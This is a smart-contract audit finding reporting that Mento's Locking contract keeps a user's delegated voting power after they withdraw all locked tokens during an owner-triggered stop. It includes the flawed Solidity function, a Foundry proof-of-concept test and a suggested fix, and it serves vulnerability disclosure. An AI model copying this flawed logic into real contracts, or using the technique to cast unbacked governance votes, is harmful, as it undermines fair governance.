User Can Vote Even When They Have 0 Locked Mento (Edge Case)
There exists an edge case where the user will be withdrawing his entire locked MENTO amount and even then will be able to vote , this is depicted by a PoC to make things clearer.\\nThe flow to receiving voting power can be understood in simple terms as follows ->\\nUsers locks his MENTO and chooses a delegate-> received veMENTO which gives them(delegatee) voting power (there's cliff and slope at play too)\\nThe veMENTO is not a standard ERC20 , it is depicted through "lines" , voting power declines ( ie. slope period) with time and with time you can withdraw more of your MENTO.\\nThe edge case where the user will be withdrawing his entire locked MENTO amount and even then will be able to vote is as follows ->\\n1.) User has locked his MENTO balance in the Locking.sol\\n2.) The owner of the contract "stops" the contract for some emergency reason.\\n4.) Since the contract is stopped , the `getAvailableForWithdraw` will return the entire locked amount of the user as withdrawable\\n```\\nfunction getAvailableForWithdraw(address account) public view returns (uint96) {\\n    uint96 value = accounts[account].amount;\\n    if (!stopped) {\\n      uint32 currentBlock = getBlockNumber();\\n      uint32 time = roundTimestamp(currentBlock);\\n      uint96 bias = accounts[account].locked.actualValue(time, currentBlock);\\n      value = value - (bias);\\n    }\\n    return value;\\n```\\n\\n5.) The user receives his entire locked amount in L101.\\n6.) The owner "start()" the contract again\\n7.) Since the user's veMENTO power was not effected by the above flow , there still exists veMENTO a.k.a voting power to the delegate, and the user's delegate is still able to vote on proposals (even when the user has withdrew everything).\\nPOC\\nImport console log first in the file , paste this test in the `GovernanceIntegration.t.sol`\\n```\\nfunction test_Poc_Stop() public {\\n\\n   vm.prank(governanceTimelockAddress);\\n   mentoToken.transfer(alice, 10_000e18);\\n\\n   vm.prank(governanceTimelockAddress);\\n   mentoToken.transfer(bob, 10_000e18);\\n\\n   vm.prank(alice);\\n   locking.lock(alice, alice, 10_000e18, 1, 103);\\n\\n   vm.prank(bob);\\n   locking.lock(bob, bob, 1500e18, 1, 103);\\n\\n   vm.timeTravel(BLOCKS_DAY);\\n\\n   uint256 newVotingDelay = BLOCKS_DAY;\\n   uint256 newVotingPeriod = 2 * BLOCKS_WEEK;\\n   uint256 newThreshold = 5000e18;\\n   uint256 newQuorum = 10; //10%\\n   uint256 newMinDelay = 3 days;\\n   uint32 newMinCliff = 6;\\n   uint32 newMinSlope = 12;\\n\\n   vm.prank(alice);\\n   (\\n     uint256 proposalId,\\n     address[] memory targets,\\n     uint256[] memory values,\\n     bytes[] memory calldatas,\\n     string memory description\\n   ) = Proposals._proposeChangeSettings(\\n       mentoGovernor,\\n       governanceTimelock,\\n       locking,\\n       newVotingDelay,\\n       newVotingPeriod,\\n       newThreshold,\\n       newQuorum,\\n       newMinDelay,\\n       newMinCliff,\\n       newMinSlope\\n     );\\n\\n   // ~10 mins\\n   vm.timeTravel(120);\\n\\n   \\n\\n   vm.startPrank(governanceTimelockAddress);\\n   locking.stop();\\n   vm.stopPrank();\\n\\n   uint bal2 = mentoToken.balanceOf(alice);\\n   console.log(bal2);\\n\\n   vm.startPrank(alice);\\n   locking.withdraw();\\n   vm.stopPrank();\\n\\n   vm.startPrank(governanceTimelockAddress);\\n   locking.start();\\n   vm.stopPrank();\\n\\n   uint bal = mentoToken.balanceOf(alice);\\n   console.log(bal);\\n   vm.prank(alice);\\n   \\n\\n   console.log(mentoGovernor.castVote(proposalId, 1));\\n }\\n```\\n\\nYou can see the Alice withdrew her entire locked amount and still was able to caste her vote.
When the entire amount is withdrawn adjust the logic to remove the corresponding lines for the delegator.
User still able to vote even when the entire locked amount is withdrawn.
```\\nfunction getAvailableForWithdraw(address account) public view returns (uint96) {\\n    uint96 value = accounts[account].amount;\\n    if (!stopped) {\\n      uint32 currentBlock = getBlockNumber();\\n      uint32 time = roundTimestamp(currentBlock);\\n      uint96 bias = accounts[account].locked.actualValue(time, currentBlock);\\n      value = value - (bias);\\n    }\\n    return value;\\n```\\n